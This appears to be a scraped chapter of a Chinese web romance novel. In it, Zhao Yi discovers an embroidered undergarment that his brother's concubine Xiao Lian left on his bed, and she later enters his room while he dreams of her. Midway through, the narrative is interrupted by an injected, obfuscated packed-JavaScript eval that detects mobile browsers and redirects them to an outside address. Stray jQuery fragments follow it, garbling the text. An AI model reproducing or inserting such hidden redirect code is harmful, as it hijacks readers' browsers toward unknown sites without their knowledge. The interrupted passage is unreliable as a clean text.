22. 情梦

作品:《弟妾

    屋内烛火昏暗得厉害。


    因着即将就寝,只留了床榻旁烛台上的一盏蜡烛,伴随着夜里的微风,火光微弱。


    赵颐眉头蹙紧,幽暗的目光定定地落在那件东西上。


    绯红的、轻薄的、细腻柔滑的。


    指尖触碰到那边缘时浑然一顿,分明带着疑虑,手还是落了下去。


    下一瞬,却像是无意碰到粘腻水滑的小蛇般,倏地将东西甩回去,他霍然起身,急速退到床榻外。


    意识到那是什么,赵颐心下猛跳,眼睫跟着发颤。


    就好似孟夏时节的凌晨,茂盛的草丛常染着霜露,尤是山间的溪流旁,稍不留神就会惊扰了毒蛇。


    缠上来,咬上去,不过一息之间,要么丢了命,要么劳费好些年月去修养身子或忘却恐惧。


    赵颐深以为然。


    那身小衣依旧静静地躺在那儿,他垂眸看着自己的手,指腹竟不自觉地捻了捻。


    他又闻到了那股熟悉的荔香,混着满屋的柑橘味。


    半晌,赵颐闭上眼,深深吐出口气。


    不知过了多久,他缓缓睁开眼,视线落回床榻。


    那衣裳被他一甩,系带四散,毫不遮掩地在衾被一角铺开,近乎张狂地占据他的床榻。


    桃红的布料上,右下角是一片辛夷花,花簇明媚秾丽,而簇簇琼花间,绣了一个“怜”字,是用银线绣的小篆,圆劲均匀间不失婉转流畅,煞是惹眼。


    ——她刺字时最喜用小篆。


    赵颐盯着那个“怜”字,想起弱冠之时她送自己的帕子,一样的绣风,细腻地绣着“春卿”二字,眉头微微蹙起,薄唇紧抿。


    她竟然将这衣裳落在他的寝屋,他的床榻。


    赵颐默然盯着那件小衣良久,她对女红素来熟稔,不难看出这件小衣是她亲自绣制的。


    可她究竟想做甚?


    宅中寂寞才想引诱他,还是对当年的情谊难以忘怀?


    思及此,赵颐敛下眉,又摇了摇头。


    她就算是引诱他,都带着怨恨,怎会是忘不了过往情谊。


    赵颐叹了口气,坐回榻上。


    男女爱欲也好,憎恨也罢,都于他无关。


    □□内宅与背德行径在他眼中哪怕有再多缘由,无论迫不得已还是情不自禁,依旧遮掩不了其中的无序无伦。


    他不能触碰,亦不能触动,哪怕一个念头也不准有。


    可当他余光再次瞥见床尾,却还是隔着丝帕以迅疾之速攥住那件小衣站起身。


    接着“吱呀”一声打开柜子,找了个木匣子扔进去,再“啪”一声阖上柜子。


    屋内又陷入寂静,只剩下他不轻不重的呼吸声。


    赵颐快步推开净室的门,手上打了胰子,在水中反复揉搓。不知过了多久,他抬手闻了闻,没再闻到那股气味才折身回到寝屋。


    至于那件衣裳……


    只待天一亮,找人送回去便是。


    .


    萧怜先前昏睡了八九个时辰,眼下正清醒,一丝睡意也没有。


    她褪下衣裳,背对着铜镜回过头。


    秋月方才给她换了药,眼下还未重新缠上纱布,伤口是个一寸宽的口子,血虽然止住了,但只凝了一层薄薄的血痂,湿湿黏黏的,触目惊心。


    实在难看。


    也实在疼,一阵阵的,针扎一般。


    秋月又上前帮她缠纱布,为了方便,萧怜赤着上身半趴在榻上。两个人手都不利索,废了好一番劲。


    众妙堂的床榻都不够柔软,顶多就是床单下添了床棉被,睡得萧怜骨头疼,越发没有睡意了。


    秋月跟着她一同住在众妙堂,这个点已困得不成样了,但出于担心一直撑着。


    她眼眶泛着红,动着动着眼泪就流了出来,“小夫人,一定很疼罢……要不要再喝点止疼的药?”


    萧怜扬了扬嘴角,“不必,傻姑娘别哭了,担忧担忧你的手罢。”


    见秋月还是红着眼,萧怜转过身,拉过她的手,拆了她手上那层较薄的纱布,指甲盖扣了黄豆大小的药膏涂在她掌心。


    “多谢小夫人……”秋月抿了抿唇,又想起件事来,“说也奇怪,今夜张嬷嬷竟然没送药过来,难道她们知道您中伤之事了?”


    萧怜勾唇,“当然不知道。”


    秋月挠了挠脑袋,恍然大悟,“是二公子,二公子果然良善……”


    秋月还想说什么,萧怜伸出手指竖在唇前,示意她莫再说下去。


    “好了,你也受了伤,困了就早些休息。”


    打发秋月睡着后,萧怜闲得无趣,园内都是紧盯着她的人,她自然不能再深夜乱走,更无事解闷。


    前夜发生了那样的事,赵颐允许她住在这,必定安排好了人手。


    萧怜拿过外衣披在肩上,在院子里晃悠,中庭是颗梅树,树干崎岖错乱,庞大的树冠遮蔽了过半的视野,满树的梅子。


    又走到书房,垂眸摆弄桌案上的呈文,看了两眼觉着无趣,开始打探书房的陈设,依旧是上次来时的模样。


    除了桌椅书架,连盏香炉都没有。


    无趣,和他一样无趣。


    萧怜拿过砚台在手中胡看,甚至没瞧见一个花纹,清洗得干干净净,一尘不染,非常赵颐的性子。


    赵颐从书房回了寝屋后就没了动静。


    她又转身朝他的寝屋去,正欲看看她留下物件后,他的反应。


    就是不知他栓没栓门,萧怜伸出左手正欲推门,一条手臂霍然拦在跟前。


    萧怜被吓了一跳,待看清来人后,手掌按在胸口顺着气,“你有事?”


    青山冷着脸,“这话应该我问萧姨娘。”


    住在夫兄的院中不说,还深夜闯人寝屋,哪家的道理?


    鉴于前夜的阴影,萧怜被吓得脸色发白,无声地和青山对望片刻,淡声道:“有东西落在主屋了,正想去拿。”


    青山显然不信,目光落在不远处的日晷上。


    申时了。


    视线又落在萧怜身上,上下打探,道:“因为萧姨娘的事,公子一天一夜没睡,姨娘就是这般报答的?什么东西不能白日来拿,非要打扰公子休息?”


    这人说话当真尖锐。


    无怪赵颐这般温和的人喜欢将青山带在身边,原来是话都替他说了。


    萧怜捻了捻指腹,笑问:“你怎知他睡没睡,又怎知他不准我进去?”


    听着这荒谬的话,青山气笑了,“都快天亮了,公子难不成是铁人不必睡觉的?再说了,您是三公子的人,公子怎么可能允许您进去。”


    话音落下,夜里落针可闻,静谧得只剩下极轻的风声和呼吸声。


    萧怜静静站在一旁,嘴角的弧度渐渐平复。


    门牖发出“吱呀”的声响,一道略重的呼吸声从门缝中溢出来,急促又压抑。


    青山闻声一顿,眉头飞皱。


    萧怜缓缓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900471|192073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抬眸,视线凝在门上,好似能穿过门望到屋内的场景,眉头也跟着皱了皱。


    这是出意外了,还是做梦了?


    不等她深思,青山提起剑就要推门闯进去,但遽然响起的声响却教二人不约而同地止住脚步——


    赵颐低喊着,嗓音低哑。


    只听他低唤了声,“萧怜……”


    似梦似醒,如醉如梦。


    青山倏地转头看向萧怜,面带不解,眉头越皱越深。


    萧怜也是一愣,旋即朝青山挑了挑眉,微翘的眼尾带着一抹绯红,桃花眼似笑非笑。


    她嘴角轻勾,“听到了吗,他在喊我。”


    青山无声站直,目光紧紧盯在萧怜身上。


    女子明媚的面容上带着挑衅,只静静看了他一眼,就伸手去推门。


    门没栓。


    一推就开了。


    萧怜略有惊诧,没想到竟这般顺利,看来他也不是那么防着她,亏她还以为需要一番功夫才行。


    “快回去罢,盯着我没用。”她从门后探出半个身子,体贴地朝青山笑笑。


    即便他没拦住她,赵颐也不会怪罪,只会怪她不守规矩。


    话音甫落,手柔柔地阖上门,然后拿过木栓卡到槽里,悠悠掀开帘子走进内室。


    幔帐垂落,隔着层纱帐,赵颐竟然在酣眠,他规整地躺在榻上,一动不动,显然睡得正深。


    萧怜狐疑地上前,抬手撩开纱帐,他也没醒。


    睡得这般深,那方才喊她是哪回事?


    烛台上还闪着微弱的光,萧怜举过蜡烛放在榻前的案上,烛光温和轻柔,他的脸在暖光闪烁中更显温润。


    萧怜站在床榻前,他面容祥和,神情温柔,长睫在眼睑下映射出阴影,如画中仙,云中人。


    萧怜坐在他身侧,抬手在他面前晃了几下,他没有任何回应。


    她垂着眸,静静看着他,一言不发。


    只是不知又梦到什么,他的神情变得有些痛苦,额边沁出层薄汗,沾湿了额前的一缕碎发。


    呼吸又变得有些急促,嘴角却是上扬着,嘴唇微微翕动,不知在说什么。


    萧怜不便俯身,于是在床榻前蹲下身,耳朵凑过去听他呢喃。


    他低低喊道:“阿怜……”


    原是在喊她。


    萧怜顿了顿,片刻后眼波微动,嘴角浮现出一抹戏笑,险些嗤笑出声。


    赵颐忽然开始皱眉,略有些急促地喘息,一下下地薄汗打湿了衣襟,他伸手扯了扯月白的衣襟,又去扯被子,攥住被子的手指根根收紧,指节泛白,不知是在隐忍还是释放。


    望着他痛苦的模样,萧怜伸手握住他,手指插入他带着薄汗的掌心,指腹沿着掌纹瞎摸。


    他不耐地动了动身子,衣衫在身躯的颤动下已经凌乱。


    萧怜得寸进尺地凑近几分,面对面,只隔了一寸的距离。


    低沉的声音再次响起,“阿怜,别闹了……”


    带着许久未曾听过的无奈和纵容。


    这副在榻上沉沦于心欲的模样,哪是平日里克己守礼的赵二公子?


    而且那梦中谢女,还是他弟弟的爱妾。


    屋外风声不知何时又起,又大起来,随着一声雷鸣,手中人猛然一颤,竟反手握紧了她。


    掌心带着水润,但萧怜并不厌弃,像发现什么有趣的事一般,笑着看他。


    “春卿可是梦见我了,梦见我在做甚?”